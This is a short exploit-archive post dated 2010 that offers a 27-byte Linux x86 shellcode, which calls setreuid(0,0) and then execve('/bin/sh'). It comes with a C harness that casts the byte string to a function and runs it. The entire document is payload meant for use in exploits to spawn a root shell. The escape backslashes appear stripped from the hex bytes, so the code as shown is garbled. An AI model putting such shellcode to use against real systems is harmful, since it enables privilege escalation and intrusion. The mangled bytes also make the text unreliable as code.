linux/x86 setreuid(0, 0) & execve("/bin/sh") s
Posted on 22 April 2010
=============================================================== linux/x86 setreuid(0, 0) & execve("/bin/sh") shellcode 27 bytes =============================================================== #include <stdio.h> #include <string.h> /* by Magnefikko 22.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 27 bytes setreuid(0, 0) & execve("/bin/sh"); shellcode Platform: Linux x86 setreuid(0, 0); execve("/bin/sh", 0, 0); gcc -Wl,-z,execstack filename.c shellcode: x6ax46x58x31xdbx31xc9xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99xb0x0bxcdx80 */ int main(){ char shell[] = "x6ax46x58x31xdbx31xc9xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99xb0x0bxcdx80"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-22]